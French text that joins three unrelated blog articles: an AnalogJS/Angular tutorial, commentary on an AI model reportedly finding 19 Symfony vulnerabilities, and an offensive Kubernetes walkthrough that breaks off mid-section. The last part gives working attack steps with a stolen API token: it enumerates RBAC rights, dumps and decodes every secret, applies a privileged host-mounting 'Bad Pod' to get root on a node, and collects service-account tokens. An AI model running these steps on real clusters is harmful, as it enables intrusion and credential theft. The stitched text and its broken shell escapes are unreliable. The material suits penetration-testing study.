Comme dit précédemment, AnalogJS est un meta-framework construit au-dessus d'Angular. A l'image de ce qu'apporte Next.js à React ou Nuxt à Vue, AnalogJS cherche à simplifier l'ajout de nouvelles fonctionnalités telles que le SSR, le SSG ou encore certaines capacités full-stack.

A l'inverse d'une bibliothèque supplémentaire dans le projet, AnalogJS ne remplace pas Angular mais agit comme une surcouche structurante. Angular reste au centre de l'application (au niveau des composants, des injections de dépendances, du routing ou encore de la réactivité), tandis qu'AnalogJS apporte un cadre pour organiser le projet, gérer le build et faciliter l'intégration de fonctionnalités plus avancées.

Selon moi, le point fort d'AnalogJS réside dans sa capacité à améliorer la Developer Experience (DX). En préférant Vite à l'outillage traditionnel embarqué par Angular, j'ai notamment constaté des temps de démarrage plus courts, un live reload plus fluide et une configuration plus légère. En effet, dans mes tests sur un projet Angular de taille moyenne, le démarrage du serveur de développement passe de ~8 secondes à moins de 2 secondes avec Vite. Le Hot Module Reload (HMR) devient lui quasi instantané de son côté. Ces chiffres ne sont pas universels et varient suivant la taille du projet et des performances de la machine. Cumulées pendant la phase de développement, ces petites améliorations font une réelle différence quand les heures passées sur un projet deviennent importantes. En clair pour moi une belle réussite qui concilie les fondamentaux propres à Angular tout en adoptant une structure et une approche plus moderne, déjà adoptée par la concurrence.

La construction d’AnalogJS : sur quoi repose-t-il ?

Il est important de voir AnalogJS comme un assemblage cohérent de technologies complémentaires, chacune répondant à un besoin précis aussi bien côté backend que frontend.

Côté frontend, AnalogJS repose naturellement sur Angular. On y retrouve les grands principes du framework tels que les composants standalone, l'injection de dépendances, les mécanismes de routing ou encore les dispositifs de réactivité modernes tels que les Signals. L'objectif ici n'est pas de modifier la façon que l'on a de développer en Angular, mais venir ajouter un cadre plus structuré autour de ces pratiques modernes.

L'un des principaux atouts réside dans l'adoption de Vite comme bundler et serveur de développement. Ce choix permet d'améliorer les performances en phase de développement et représente un choix cohérent avec l'évolution actuelle de l'écosystème frontend dans lequel Vite tend à devenir un standard.

Côté backend, le meta-framework s'appuie sur Nitro, outil provenant de l'écosystème Nuxt. Il permet de gérer le rendu côté serveur, les endpoints de l'API ainsi que les différentes stratégies de déploiement (Node, serverless ou edge). Cela permet de centraliser les besoins front et back dans un même projet, sans besoin d'externaliser un backend pour des besoins simples. Au-delà des technologies qu'AnalogJS utilise, il repose aussi sur des principes structurants hérités des meta-frameworks modernes: forte convention de structure projet, intégration native du SSR / SSG, et une volonté de réduire la configuration au profit de conventions (convention over configuration).

Pour mieux comprendre ce qu’AnalogJS apporte au quotidien, il est donc utile de s’intéresser aux principales fonctionnalités qu’il met à disposition et à la manière dont elles s’intègrent dans le développement d’une application.

AnalogJS et le SSR : quelle différence avec @angular/ssr ?

Avant d'aller plus loin dans les cas d'usage, il est important de clarifier un point: Angular propose déjà une solution de SSR officielle via @angular/ssr (anciennement Angular Universal). La question est alors: pourquoi utiliser AnalogJS pour faire du SSR ?

Les deux approches ne s'opposent pas mais elle ne répondent pas tout à fait au même besoin final.

Avec @angular/ssr, le SSR est une fonctionnalité que l'on ajoute à un projet Angular existant. C'est une approche flexible, bien intégrée à Angular et qui convient très bien à une architecture établie.

AnalogJS adopte une philosophie différente: le SSR y est natif et structurant dès le départ. Il est partie intégrante du cadre proposé, au même titre que le routing basé sur les fichiers et les API routes. C'est Nitro qui prend en charge la couche serveur, ce qui apporte une plus grand flexibilité sur les stratégies de déploiement.

Pour résumer:

Le choix entre les deux dépend moins d'une question de performances que de contexte projet: si vous démarrez sur un nouveau projet avec des besoins full-stask et SEO, AnalogJS offre un cadre clé en main, parfait pour débuter. Si vous cherchez à inclure du SSR sur un projet Angular existant, @angular/ssr reste la voie la plus directe et la plus officielle.

Cas d’usage concrets, exemples simples et principes clés

Au-delà des concepts expliqués plus haut dans l'article, l'intérêt d'AnalogJS apparaît surtout lors de la mise en place rapide d'un projet réel. Voici quelques exemples simples qui illustrent les principes clés du meta-framework.

Création d'une page avec routing basé sur les fichiers

AnalogJS utilise un système de file-based routing, ce qui évite d'avoir à configurer le router Angular pour des pages simples dans l'application.

Par exemple, si on veut créer une page /users, il suffit de créer un fichier avec ce chemin dans le projet:

src/routes/users.page.ts

Et de rajouter ce contenu exemple pour le test:

import { Component } from '@angular/core';

@Component({
  standalone: true,
  template: `
    <h1>Users</h1>
    <p>Liste des utilisateurs</p>
  `
})
export default class UsersPage {}

La route est automatiquement disponible, sans ajout de configuration supplémentaire. La structure de fichiers est alors une représentation abstraite de ce que va être celle côté application.

Créer un endpoint API simplement

AnalogJS permet aussi de créer des endpoints pour le backend directement dans le projet, pratique pour éviter d'avoir à mettre en place un backend séparé pour des besoins simples.

Par exemple, un endpoint pour simplement récupérer des utilisateurs :

src/server/api/users.get.ts

Avec le contenu suivant :

export default defineEventHandler(() => {
  return [
    { id: 1, name: 'Guillaume' },
    { id: 2, name: 'Alan' },
    { id: 3, name: 'William' },
  ];
});

Ce endpoint est alors directement disponible via :

/api/users

Cela devient particulièrement utile pour mocker facilement de la donnée (pour des tests, cas aux limites) mais aussi pour centraliser une logique simple côté serveur.

Une fois cette API disponible, on peut la consommer simplement côté composant :

import { Component, inject } from '@angular/core';
import { HttpClient } from '@angular/common/http';

@Component({
  standalone: true,
  template: `
    <h2>Users</h2>

    <ul>
      <li *ngFor="let user of users">
        {{ user.name }}
      </li>
    </ul>
  `
})
export default class UsersPage {

  http = inject(HttpClient);

  users: User[] = [];

  ngOnInit() {
    this.http.get<User[]>('/api/users')
      .subscribe(data => this.users = data);
  }

}

Cette implémentation devient alors une arme redoutable pour toute élaboration de projets internes ou prototypes type Proof of Concept (PoC) mais reste tout autant efficace pour des projets plus importants.

Server-side data fetching

Un autre point fort d'AnalogJS réside dans sa capacité à charger des données côté serveur avant le rendu d'une page côté utilisateur. Ce mécanisme, inspiré de ce que proposent Next.js ou Nuxt, repose sur une fonction load() associée à une page. Cette fonction s'exécute côté serveur au moment de la requête, ce qui garantit aux données d'être présentes dans le HTML dès le premier octet envoyé au navigateur.

Reprenons l'exemple de notre page /users. Plutôt que de faire un appel HTTP dans le composant Angular après le rendu initial de la page, on peut déléguer ce chargement au server en ajoutant un fichier .server.ts associé :

import { PageServerLoad } from '@analogjs/router';

export const load = async ({ params }: PageServerLoad) => {
  const response = await fetch('https://mon-api.com/users');
  const users = await response.json();

  return { users };
};

Côté composant, les données sont récupérées via injectLoad(), sans aucun appel HTTP supplémentaire :

import { Component } from '@angular/core';
import { injectLoad, toSignal } from '@analogjs/router';
import { load } from './users.server';

@Component({
  standalone: true,
  template: `
    <h1>Users</h1>
    <ul>
      @for (user of data().users; track user.id) {
        <li>{{ user.name }}</li>
      }
    </ul>
  `
})
export default class UsersPage {
  data = toSignal(injectLoad<typeof load>(), { requireSync: true });
}

Dans une SPA Angular standard ou sans faire de server-side côté AnalogJS, le HTML initial arrive vide et les données sont chargées après, côté client. Ici, le serveur résout les données avant d'envoyer la réponse, ce qui permet deux effets intéressants :

• SEO : les crawlers Web voient un contenu à la première requête, ce qui permet une meilleure indexation du contenu de la page.

• Performance : le contenu est affiché immédiatement, sans état de chargement intermédiaire / loader qui pourrait altérer l'expérience utilisateur.

Ce mécanisme devient alors un allié pertinent sur des pages à fort enjeu SEO comme des fiches produits, des articles de blog ou des pages de résultats, là où afficher un contenu vide en attendant un appel API côté client n'est pas acceptable.

Utiliser du Markdown pour générer des pages de contenu

Comme ses concurrents directs, AnalogJS permet de créer des pages de contenu à partir de fichiers Markdown, très utile pour de la documentation, un blog ou des pages de contenu pur.

Exemple de fichier dans la structure de projet :

src/routes/blog/mon-article.md

# Mon article

Voici un exemple de contenu Markdown avec AnalogJS.

- Simple
- Rapide
- Efficace

La page est alors accessible via ce segment URL :

/blog/mon-article

Ce mécanisme de génération de contenu via Markdown permet aussi de séparer le contenu et la logique applicative.

Gérer le SEO et les meta tags d’une page

Une autre force que j'accorde à AnalogJS est de faciliter l'optimisation SEO grâce au SSR. Contrairement à une SPA classique dans laquelle les meta tags sont parfois mal gérés par les crawlers Web, AnalogJS permet de définir proprement les informations SEO au niveau des pages de l'application.

Exemple simple pour un titre et une description :

import { Component } from '@angular/core';
import { Meta, Title } from '@angular/platform-browser';

@Component({
  standalone: true,
  template: `
    <h1>Users</h1>
    <p>Liste des utilisateurs de l'application</p>
  `
})
export default class UsersPage {

  constructor(
    private title: Title,
    private meta: Meta
  ) {
    this.title.setTitle('Utilisateurs | Ma Super Plateforme');

    this.meta.addTags([
      { name: 'description', content: 'Liste des utilisateurs de la plateforme' },
      { name: 'author', content: 'Jean RICHARD' }
    ]);
  }

}

On peut également ajouter des meta tags Open Graph pour améliorer le partage sur les réseaux :

this.meta.addTags([
  { property: 'og:title', content: 'Utilisateurs | Ma Super Plateforme' },
  { property: 'og:description', content: 'Liste des utilisateurs' },
  { property: 'og:type', content: 'website' }
]);

Ce type d'optimisation permet de simplement gérer page par page ses interactions avec le SEO et les données que l'on veut voir apparaître côté navigateur.

Ces différents exemples montrent qu'AnalogJS ne se limite pas à juste proposer de nouvelles fonctionnalités, mais cherche surtout à simplifier l'implémentation de problématiques devenues centrales dans l'écosystème Angular moderne : routing structuré, endpoints API simples, gestion de contenu ou encore optimisation du SEO.

Les raisons d'adopter AnalogJS

Au-delà de tous ces aspects techniques, la vraie question que l'on est en droit de se poser est la suivante : dans quels contextes ces apports justifient-ils réellement l'adoption d'AnalogJS ? Comme souvent avec ce genre d'outillage, la réponse dépend moins des fonctionnalités que des besoins réels du projet, de sa complexité ou encore de ses contraintes d'architecture.

Dans les expérimentations que j'ai pu mener, AnalogJS montre surtout son intérêt lorsqu'il permet de simplifier des problématiques habituellement coûteuses à mettre en place dans un projet Angular, notamment autour du SSR ou de la structuration full-stack.

Voici quelques raisons qui, selon moi, peuvent justifier son adoption :

• Améliorer l’expérience développeur et la productivité

L'ajout de Vite et l'approche plus conventionnelle permettent de réduire le temps passé sur la configuration et d'accélérer les cycles de développement. À l'échelle d'une équipe, ce type de gains peut avoir un réel impact sur la vélocité et la Developer Experience (DX) apportée au projet.

• Moderniser l’approche Angular sur de nouveaux projets

AnalogJS permet de démarrer rapidement avec un ensemble moderne et complet (SSG, SSR, conventions de structure projet) sans avoir à faire évoluer d'une manière ou d'une autre une architecture existante. Cette approche rend ce méta-framework particulièrement efficace dans une logique de projets greenfield (projets démarrés from scratch, sans stack à maintenir ou à faire évoluer).

• Une alternative crédible pour les projets nécessitant du SEO ou contenu public

On croise souvent des projets hybrides (portails, homepages simples exposées avec un dashboard derrière, plateformes SaaS…). AnalogJS permet alors d'éviter de devoir sortir d'Angular ou de multiplier les stacks techniques additionnelles pour un même besoin.

• Se positionner sur les évolutions modernes de l'écosystème Angular

Monter en compétences sur ce type d'outillage permet d'anticiper d'éventuelles évolutions de l'écosystème et de renforcer une certaine crédibilité technique sur des sujets d'architecture front moderne.

Les limites: ce qu'il faut savoir avant de se lancer

Avant d'adopter AnalogJS sur un projet, il est important de connaître les limites actuelles. L'outil étant encore "jeune", AnalogJS présente aussi des contraintes qui peuvent nuire à son adoption. Voici les principaux points que j'ai identifiés :

• Une documentation parfois incomplète

Sur certains cas d'usage avancés, il faut aller directement lire le code source du framework pour débloquer certaines mises en place compliquées.

• Une communauté plus petite

Contrairement à Nuxt ou Next.js, AnalogJS dispose d'une communauté plus réduite que ses concurrents. Ce qui signifie concrètement qu'il y a moins de ressources disponibles en ligne, moins de retours d'expérience et que les temps de résolution de problèmes sont plus longs.

• Des breaking changes encore fréquents

Entre les différentes versions, ces changements peuvent surprendre sur un projet où la stabilité long terme est une contrainte forte.

• Un risque de friction en équipe

Si les développeurs ne sont pas familiers avec l'approche adoptée par les meta-frameworks, il y a un risque de ralentissement de l'onboarding au lieu d'augmenter la productivité.

• Pertinence limitée pour certains projets Angular

La complexité supplémentaire introduite par AnalogJS est difficile à justifier quand une SPA Angular classique répond déjà au besoin, que ce soit lors d'une migration d'Angular vers AnalogJS ou tout autre projet sans besoin SSR / SEO.

Conclusion

AnalogJS s'inscrit dans une évolution logique de l'écosystème Angular qui cherche à améliorer la Developer Experience et les architectures hybrides. En s'inspirant des méta-frameworks modernes, il simplifie la mise en place d'outillages natifs là où l'implémentation côté Angular peut s'avérer plus complexe.

Pour autant, il ne faut pas voir AnalogJS comme une solution universelle. Son adoption implique l'ajout d'une surcouche structurante, qui peut apporter de la valeur dans certains cas mais aussi, à l'inverse, ajouter de la complexité dans d'autres contextes. Le choix d'AnalogJS dépend alors du contexte projet dans lequel il s'insère : visibilité SEO/Web, performance, structuration full-stack ou encore l'organisation et les connaissances des équipes techniques.

Avec ce recul, AnalogJS m'apparaît davantage comme un levier d'architecture à adopter dans des cas précis de problématiques projet, plutôt que comme un nouveau standard Angular. La vraie valeur de cet outil réside dans la capacité des équipes techniques à savoir quand l'utiliser, mais aussi quand ne pas l'utiliser. Cette capacité de discernement technique est cruciale pour faire la différence entre une tendance et une véritable décision d'architecture.

Récemment, une notification a fait tiquer plus d'un développeur PHP : 19 CVE publiées le même jour sur le framework Symfony. Pour un projet aussi mature et aussi audité, c'est un volume sortant clairement de l'ordinaire. Symfony n'est pas du genre à concentrer autant de vulnérabilités sur une seule journée — habituellement, le framework remonte quelques CVE espacées dans l'année, traitées proprement par une équipe sécurité bien rodée.

Alors, que s'est-il passé ?

Symfony, cobaye d'une expérimentation IA

La réponse se trouve dans un article publié sur le blog officiel de Symfony par Javier Eguiluz : ces 19 vulnérabilités n'ont pas été découvertes par un chercheur humain ni par les outils habituels d'analyse statique. Elles ont été remontées par une IA encore confidentielle baptisée Claude Mythos Preview, développée par Anthropic.

Le framework Symfony a en quelque sorte servi de banc d'essai grandeur nature à ce nouveau modèle. Le résultat parle de lui-même.

Claude Mythos, c'est quoi exactement ?

D'après les éléments publics qui circulent (notamment via un billet d'Orange Cyberdefense) :

• Claude Mythos Preview est une IA non publique d'Anthropic, présentée comme capable de détecter et d'exploiter des vulnérabilités logicielles critiques, y compris des failles « zero-day ».

• Sa particularité affichée : enchaîner de façon autonome l'exploitation de plusieurs vulnérabilités pour atteindre un objectif — typiquement, l'accès à une ressource numérique cible.

• Le modèle n'a pas encore fait l'objet d'une évaluation tierce indépendante. Les capacités annoncées le sont par son éditeur, ce qui appelle à la prudence.

• Mythos s'inscrit dans une lignée déjà amorcée par d'autres modèles ayant montré des aptitudes à la découverte de failles, et marque une étape vers une nouvelle génération d'outils.

Et Anthropic n'est pas seul sur le créneau : OpenAI aurait également un modèle dans la même veine, désigné sous le nom de GPT-5.4-Cyber. La compétition est lancée.

Faut-il vraiment s'en méfier ? Ou est-ce un coup de com' ?

C'est la question qui mérite d'être posée honnêtement. Le calendrier d'annonces aussi tonitruantes, dans un contexte où Anthropic se prépare à des étapes capitalistiques majeures, invite à la prudence. Une IA capable de trouver 19 failles en une journée sur un framework de référence, ça fait évidemment de très bons titres. Et un excellent argument marketing.

Pour autant, on ne peut pas balayer le sujet d'un revers de main pour deux raisons :

1. Les CVE existent bel et bien. Les 19 failles sont publiées, référencées, et l'équipe Symfony — qui n'est pas réputée pour valider à la légère — les a reconnues. Que la découverte vienne d'une IA ou d'un humain, le résultat est tangible.

2. La tendance de fond est réelle. Que ce soit Mythos, GPT-5.4-Cyber ou les futurs concurrents qui ne manqueront pas d'arriver, les LLM spécialisés en cybersécurité progressent vite. Ignorer ce mouvement serait imprudent.

3. Et surtout, le volume. D'après un article de L'Usine Digitale, Claude Mythos aurait identifié plus de 10 000 failles critiques en un mois seulement depuis son lancement, y compris dans certains des systèmes les plus stratégiques au monde. Si ce chiffre se confirme — et même en supposant un taux de faux positifs significatif — l'ordre de grandeur change tout : on ne parle plus d'une démo réussie sur un framework PHP, mais d'un changement d'échelle dans la découverte de vulnérabilités.

Les 19 CVE de Symfony, vues sous cet angle, ne sont qu'un échantillon visible d'un phénomène bien plus vaste. La vraie question n'est donc probablement pas « est-ce du marketing ? » mais plutôt « qu'est-ce que ça change concrètement pour nous ? ».

Ce qui va nous tomber dessus, court et moyen terme

À court terme, il faut se préparer à un phénomène simple : une vague de failles à vérifier, qualifier, prioriser et corriger. Si 19 CVE sur Symfony donnent déjà du fil à retordre, imaginez l'effet de 10 000 vulnérabilités remontées à travers l'écosystème logiciel mondial en l'espace de quelques semaines.

Côté équipes ops et dev, ça signifie :

• Des cycles de patching plus serrés et plus fréquents.

• Une pression accrue sur la gestion des dépendances (Composer, npm, Maven, etc.).

• Une charge de qualification importante : toutes les failles remontées par une IA ne se valent pas, et certaines peuvent être des faux positifs ou des cas exploitables uniquement dans des conditions improbables.

À moyen et long terme, et selon le coût, la performance et l'accessibilité de ces IA, leur intégration dans les chaînes de construction logicielle (CI/CD, SAST, DAST) va probablement devenir la norme — au même titre qu'un linter ou qu'un scanner de dépendances aujourd'hui.

Le maillon qui ne change pas : l'humain

Une IA peut remonter des centaines de chemins suspects dans une codebase. Elle ne sait pas, en revanche, distinguer ce qui est exploitable en production de ce qui reste théorique, ni arbitrer l'ordre dans lequel traiter les corrections en fonction du contexte métier, des dépendances et des contraintes de production.

Ce n'est d'ailleurs pas une limite conjoncturelle que les modèles vont effacer à la prochaine version. Les frameworks d'agentic coding comme BMAD ou Superpowers le formalisent explicitement : la sécurité applicative n'est pas une compétence déléguée à l'IA — elle reste ancrée dans des outils d'analyse statique dédiés (SAST, linters, scanners de dépendances) dont l'IA n'est pas un substitut mais un complémentaire. Ce cloisonnement n'est pas un aveu de faiblesse ; c'est une conception saine du rôle de chaque outil.

Ce travail d'analyse et de jugement reste donc humain. Et il ne tient pas sur les épaules d'un seul profil : il repose sur la coopération entre développeurs, équipes sécurité, mainteneurs open source et chercheurs. C'est ce maillage qui transforme un signal brut — « voici 10 000 vulnérabilités possibles » — en décisions concrètes et hiérarchisées.

Autrement dit : plus les IA produiront du volume, plus la valeur du jugement humain et de la collaboration entre équipes augmentera, pas l'inverse.

Conclusion

Coup de com' avant une entrée en bourse ? Réelle percée technologique ? Probablement un peu des deux.

Mais il y a une réalité à ne pas perdre de vue : le gouvernement américain a émis une directive de contrôle des exportations suspendant tout accès à Fable 5 et Mythos 5 pour l'ensemble des ressortissants étrangers — et par effet de bord, Anthropic a dû désactiver ces modèles pour l'ensemble de ses clients afin d'assurer sa conformité. La raison invoquée ? Un potentiel jailbreak — dont Anthropic conteste d'ailleurs la gravité. Du jour au lendemain, un outil sur lequel vous auriez construit votre chaîne de détection peut disparaître, pour des raisons totalement extérieures à votre contexte. C'est vrai de tous les LLMs — mais dans le domaine de la sécurité informatique, cette instabilité n'est pas acceptable. Un outil dont on peut vous couper l'accès par décret ne peut pas être un maillon critique de votre dispositif de défense.

Ce qui est certain, en revanche, c'est que la dynamique est lancée. Les Mythos, GPT-Cyber et compagnie ne vont pas disparaître — ils vont se multiplier, s'améliorer, et finir par s'intégrer aux outils du quotidien. La vraie préparation, pour les équipes tech, ce n'est pas de débattre de la sincérité des annonces d'Anthropic ou d'OpenAI. C'est :

• Industrialiser la veille CVE et le patching.

• Renforcer les processus de triage humain des vulnérabilités remontées par des outils automatisés.

• Cultiver la coopération entre équipes — parce que c'est encore là que se trouve le vrai garde-fou.

Tout va vite. Très vite. Et qu'on aime ou non ces nouveaux outils, on va devoir apprendre à vivre — et à travailler — avec.

Sources :

• Javier Eguiluz, « Claude Mythos audited Symfony and found 19 vulnerabilitiese Mythos audited Symfony and found 19 vulnerabilities », blog Symfony.

• Orange Cyberdefense, « Entre Mythos et GPT-5.4-Cyber : les LLM prennent le chemin de la cybersécurité automatisée ».

• L'Usine Digitale, « Cybersécurité : Claude Mythos a trouvé plus de 10 000 failles critiques un mois après son lancement ».

Cet article couvre l'exploitation de cet accès API : cartographier ses droits et ceux des autres, explorer les ressources accessibles (secrets, configmaps, pods), déployer des pods malveillants pour s'élever en privilèges, et persister dans le cluster. La différence avec l'article précédent est le point de vue : on n'est plus enfermé dans un conteneur, on attaque le cluster via son API.

Reconnaissance des droits et du périmètre

Avant toute action, l'attaquant doit comprendre l'étendue de ses droits. Un token peut donner un accès cluster-admin complet ou être limité à un seul namespace avec des permissions minimales.

Identifier son périmètre : namespaces accessibles

La première question est : est-on limité à un namespace ou a-t-on une vue cluster-wide ?

$ kubectl get namespaces

NAME              STATUS   AGE
cilium-secrets    Active   6d22h
default           Active   6d22h
ingress-nginx     Active   5d20h
kube-node-lease   Active   6d22h
kube-public       Active   6d22h
kube-system       Active   6d22h
monitoring        Active   5d21h

Si la commande fonctionne, on a une visibilité sur l'ensemble des namespaces du cluster. Si elle échoue (Forbidden), on est probablement limité à un seul namespace, celui indiqué dans le token JWT ou le kubeconfig. Dans ce cas, on teste manuellement les namespaces courants :

# Tester des namespaces courants si "get namespaces" est interdit
$ for ns in default kube-system kube-public monitoring ingress-nginx production staging; do
    kubectl auth can-i list pods -n \(ns 2>/dev/null && echo "→ accès à \)ns"
done

kubectl auth can-i : auditer ses propres droits

kubectl auth can-i --list affiche toutes les permissions du token courant dans un namespace donné. L'article précédent l'utilisait pour un premier diagnostic rapide. Ici on va plus loin : on itère sur chaque namespace pour identifier les différences de droits.

# Droits dans chaque namespace
\( for ns in \)(kubectl get ns --no-headers -o custom-columns=":metadata.name"); do
    echo "=== $ns ==="
    kubectl auth can-i --list -n \(ns 2>/dev/null | grep -v "selfsubject\|^\)\|Resources\|well-known\|openid\|openapi\|version\|healthz\|livez\|readyz\|/api"
    echo
done

Le résultat révèle si les droits varient selon le namespace. Par exemple, un SA peut avoir get secrets dans default mais pas dans kube-system. On cherche spécifiquement les verbes dangereux :

Les vérifications ciblées permettent de confirmer rapidement :

# Vérifications ciblées
$ kubectl auth can-i get secrets -n default
yes

$ kubectl auth can-i create pods -n kube-system
no

$ kubectl auth can-i list secrets --all-namespaces
yes

Un verbe souvent sous-estimé : list. Sur les secrets, list retourne le contenu complet de tous les secrets du namespace, même sans le verbe get. C'est le cas du SA ingress-nginx sur notre cluster, qui a list watch sur les secrets dans tous les namespaces.

kubectl-who-can : cartographier les droits des autres

kubectl auth can-i répond à "qu'est-ce que JE peux faire ?". La question inverse est tout aussi importante : "QUI peut faire X ?". C'est ce que fait kubectl-who-can d'Aqua Security.

# Installation
$ wget -q https://github.com/aquasecurity/kubectl-who-can/releases/latest/download/kubectl-who-can_linux_x86_64.tar.gz
$ tar xzf kubectl-who-can_linux_x86_64.tar.gz
$ mv kubectl-who-can /usr/local/bin/

Les requêtes clés pour un attaquant :

# Qui peut lire les secrets ? → cibles prioritaires
$ kubectl who-can get secrets --all-namespaces
CLUSTERROLEBINDING                          SUBJECT                            TYPE
cluster-admin                               system:masters                     Group
system:controller:clusterrole-aggregation   clusterrole-aggregation-controller ServiceAccount

# Qui peut créer des pods ? → pivoter vers Bad Pods
$ kubectl who-can create pods -n default

# Qui peut exec dans des pods ? → voler des tokens
$ kubectl who-can create pods/exec -n kube-system

# Qui peut modifier les RBAC ? → escalade de privilèges
$ kubectl who-can create rolebindings --all-namespaces

Le résultat donne une cartographie des SA à forte valeur. Si on compromet l'un d'entre eux (via un token trouvé sur un nœud, dans un secret, ou en exec dans leur pod), on hérite de leurs droits.

Synthèse : choisir son vecteur

Selon les droits identifiés :

• get/list secrets ou configmaps → lire les ressources accessibles (section suivante)

• create pods → déployer un pod malveillant pour accéder au nœud (section Bad Pods)

• create rolebindings → s'attribuer un rôle plus puissant (section Escalade RBAC)

• create pods/exec → exec dans des pods existants pour voler leurs tokens (section Mouvement latéral)

• droits minimaux → chercher les combos : create pods sans get secrets permet quand même de monter un secret dans un pod qu'on contrôle

Revue des ressources accessibles

Secrets

Les Secrets Kubernetes sont encodés en base64, pas chiffrés. Avec le verbe get ou list, on les lit en clair :

$ kubectl get secrets --all-namespaces
NAMESPACE       NAME                              TYPE                          DATA   AGE
ingress-nginx   ingress-nginx-admission           Opaque                        3      5d20h
kube-system     cilium-ca                         Opaque                        2      6d22h
kube-system     hubble-relay-client-certs         kubernetes.io/tls             3      6d22h
kube-system     hubble-server-certs               kubernetes.io/tls             3      6d22h
kube-system     k3s-master.node-password.k3s      k3s.cattle.io/node-password   1      6d22h
kube-system     k3s-serving                       kubernetes.io/tls             2      6d22h
kube-system     k3s-worker-01.node-password.k3s   k3s.cattle.io/node-password   1      6d22h
kube-system     k3s-worker-02.node-password.k3s   k3s.cattle.io/node-password   1      6d22h
kube-system     sh.helm.release.v1.cilium.v1      helm.sh/release.v1            1      6d22h

# Lire un secret spécifique et décoder la valeur
$ kubectl get secret cilium-ca -n kube-system -o jsonpath='{.data.ca\.crt}' | base64 -d
-----BEGIN CERTIFICATE-----
MIIBdTCCARugAwIBAgIQ...
-----END CERTIFICATE-----

# Extraire tous les secrets d'un namespace en une commande
$ kubectl get secrets -n kube-system -o json | \
    jq '.items[] | {name: .metadata.name, data: (.data // {} | map_values(@base64d))}'

Les types à surveiller :

• Opaque : credentials applicatifs (mots de passe BDD, clés API, tokens)

• kubernetes.io/tls : certificats TLS (CA, clés privées). Permettent du MITM ou de l'impersonation

• kubernetes.io/service-account-token : tokens SA legacy (pré-1.24), non expirants

• helm.sh/release.v1 : releases Helm, contiennent les valeurs du chart en clair, souvent avec des mots de passe

• k3s.cattle.io/node-password : spécifique K3s, mots de passe des nœuds

ConfigMaps

Les ConfigMaps ne sont pas chiffrés non plus, et contiennent souvent des données sensibles mal placées : URLs de connexion avec credentials, fichiers de configuration, clés d'API.

$ kubectl get configmaps --all-namespaces
NAMESPACE         NAME                                                   DATA   AGE
kube-system       cilium-config                                          152    6d22h
kube-system       coredns                                                2      6d22h
kube-system       hubble-relay-config                                    1      6d22h
kube-system       local-path-config                                      4      6d22h
ingress-nginx     ingress-nginx-controller                               0      5d20h
...

Le ConfigMap coredns est particulièrement intéressant : il révèle la configuration DNS du cluster et la correspondance nœuds/IPs :

$ kubectl get configmap coredns -n kube-system -o yaml
data:
  Corefile: |
    .:53 {
        kubernetes cluster.local in-addr.arpa ip6.arpa { pods insecure }
        hosts /etc/coredns/NodeHosts { ttl 60 }
        prometheus :9153
        forward . /etc/resolv.conf
    }
  NodeHosts: |
    10.25.11.200 k3s-master
    10.25.11.201 k3s-worker-01
    10.25.11.202 k3s-worker-02

Le ConfigMap cilium-config (152 entrées) expose toute la configuration réseau du cluster : CIDR des pods (10.0.0.0/8), taille des masques (/24), mode de routage, etc.

Cartographie du cluster

Avec un accès en lecture, on peut dresser une carte complète du cluster :

# Pods en cours d'exécution et leur répartition sur les nœuds
$ kubectl get pods -A -o wide
NAMESPACE       NAME                                        READY   STATUS    NODE
default         victim-pod                                  1/1     Running   k3s-worker-01
ingress-nginx   ingress-nginx-controller-5d4f7b984b-zgvxw   1/1     Running   k3s-worker-02
kube-system     cilium-wqqnp                                1/1     Running   k3s-worker-01
kube-system     local-path-provisioner-546dfc6456-fbk7k     1/1     Running   k3s-worker-01
kube-system     metrics-server-c8774f4f4-vp4mr              1/1     Running   k3s-worker-02
monitoring      nginx-66686b6766-pdqvz                      1/1     Running   k3s-worker-02
...

# Nœuds avec versions et IPs
$ kubectl get nodes -o wide
NAME            STATUS   ROLES           VERSION        INTERNAL-IP    OS-IMAGE                         CONTAINER-RUNTIME
k3s-master      Ready    control-plane   v1.34.4+k3s1   10.25.11.200   Debian GNU/Linux 12 (bookworm)   containerd://2.1.5-k3s1
k3s-worker-01   Ready    <none>          v1.34.4+k3s1   10.25.11.201   Debian GNU/Linux 12 (bookworm)   containerd://2.1.5-k3s1
k3s-worker-02   Ready    <none>          v1.34.4+k3s1   10.25.11.202   Debian GNU/Linux 12 (bookworm)   containerd://2.1.5-k3s1

# Service Accounts existants
$ kubectl get serviceaccounts -A --no-headers | grep -v default
ingress-nginx     ingress-nginx                     0   5d20h
ingress-nginx     ingress-nginx-admission           0   5d20h
kube-system       cilium                            0   6d22h
kube-system       cilium-envoy                      0   6d22h
kube-system       cilium-operator                   0   6d22h
kube-system       coredns                           0   6d22h
kube-system       hubble-relay                      0   6d22h
kube-system       hubble-ui                         0   6d22h
kube-system       local-path-provisioner-service-account   0   6d22h
kube-system       metrics-server                    0   6d22h
...

Cette cartographie (pods, nœuds, SA) croisée avec les résultats de who-can donne une vue d'ensemble : on sait quels SA ont des droits intéressants, sur quels nœuds tournent leurs pods, et donc quels nœuds cibler pour récupérer leurs tokens.

Déploiement de pods malveillants

Si le token compromis permet de créer des pods (directement ou via un Deployment, DaemonSet, CronJob), l'attaquant peut déployer un pod avec des attributs dangereux pour accéder au nœud sous-jacent. C'est le même principe que les misconfigurations vues dans l'article précédent, mais cette fois l'attaquant crée le pod lui-même.

La taxonomie Bad Pod

Bishop Fox a classifié 8 niveaux de pods malveillants selon les attributs de sécurité exploités :

On commence toujours par le plus permissif et on descend si Pod Security Admission bloque.

Everything allowed

Le pod "tout permis" donne un accès root complet au nœud :

apiVersion: v1
kind: Pod
metadata:
  name: everything-allowed
  namespace: default
spec:
  hostNetwork: true
  hostPID: true
  hostIPC: true
  containers:
  - name: pwn
    image: alpine
    command: ["sleep", "infinity"]
    securityContext:
      privileged: true
    volumeMounts:
    - name: host-root
      mountPath: /host
  volumes:
  - name: host-root
    hostPath:
      path: /
      type: Directory

$ kubectl apply -f everything-allowed.yaml
pod/everything-allowed created

$ kubectl exec -it everything-allowed -- chroot /host bash
root@k3s-worker-01:/# id
uid=0(root) gid=0(root)

# On est root sur le nœud, accès au kubelet, aux tokens SA, à tout
root@k3s-worker-01:/# find /var/lib/kubelet/pods/ -name token -path "*/kube-api-access-*" 2>/dev/null
/var/lib/kubelet/pods/6718e893-.../volumes/kubernetes.io~projected/kube-api-access-rnvqj/token
/var/lib/kubelet/pods/a3b2c1d4-.../volumes/kubernetes.io~projected/kube-api-access-x7k2m/token
...

hostPath only

